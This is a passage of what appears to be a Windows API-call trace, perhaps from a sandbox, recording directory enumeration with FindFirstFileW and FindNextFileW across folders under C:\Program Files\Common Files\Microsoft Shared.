dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0043.902] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.902] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 1 [0043.902] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0043.903] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0043.903] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0043.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0043.906] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.906] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0043.907] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0043.907] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0043.907] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0043.907] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0043.907] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0043.907] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0043.908] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0043.908] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.908] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0043.908] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0043.910] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.910] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0043.910] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0043.910] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0043.910] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0043.910] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0043.910] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0043.910] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0043.910] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0043.911] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.911] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0043.911] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0043.912] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.912] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0043.912] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*", lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02348 [0043.915] FindNextFileW (in: hFindFile=0x3f02348, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.915] FindNextFileW (in: hFindFile=0x3f02348, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1574f00, ftCreationTime.dwHighDateTime=0x1be23e3, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1574f00, ftLastWriteTime.dwHighDateTime=0x1be23e3, nFileSizeHigh=0x0, nFileSizeLow=0x51a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.CHM", cAlternateFileName="")) returned 1 [0043.915] FindClose (in: hFindFile=0x3f02348 | out: hFindFile=0x3f02348) returned 1 [0043.916] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0043.916] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0043.916] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0043.916] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0043.916] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0043.917] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0043.917] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0043.919] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0043.919] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0043.920] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.920] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0043.920] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0043.920] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0043.920] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0043.920] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0043.920] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.921] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0043.921] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0043.921] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f64b58 | out: hHeap=0x5a0000) returned 1 [0043.921] FindNextFileW (in: hFindFile=0x3f02208, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0043.921] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0043.921] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.921] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0043.922] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0043.924] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.924] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0044.225] FindClose (in: hFindFile=0x3f02348 | out: hFindFile=0x3f02348) returned 1 [0044.225] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f234d0 | out: hHeap=0x5a0000) returned 1 [0044.226] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, 